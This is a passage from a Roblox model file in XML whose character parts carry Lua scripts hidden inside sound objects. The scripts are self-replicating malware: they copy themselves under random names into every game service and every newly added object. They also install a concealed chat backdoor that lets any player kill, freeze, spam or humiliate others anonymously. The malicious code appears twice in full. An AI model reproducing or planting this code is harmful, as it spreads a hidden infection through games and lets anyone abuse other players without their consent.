if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX712">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-183.524414</X>
								<Y>3.48000145</Y>
								<Z>-3.12550354</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX713">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">x66b1q</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX714">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ipf7</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX715">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-184.450806</X>
								<Y>3.48000145</Y>
								<Z>-0.272125244</Z>
								<R00>-0.308796614</R00>
								<R01>-0.000818364497</R01>
								<R02>-0.951127768</R02>
								<R10>2.59560218e-009</R10>
								<R11>0.999999642</R11>
								<R12>-0.000860415457</R12>
								<R20>0.951128125</R20>
								<R21>-0.000265695795</R21>
								<R22>-0.308796495</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">true</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
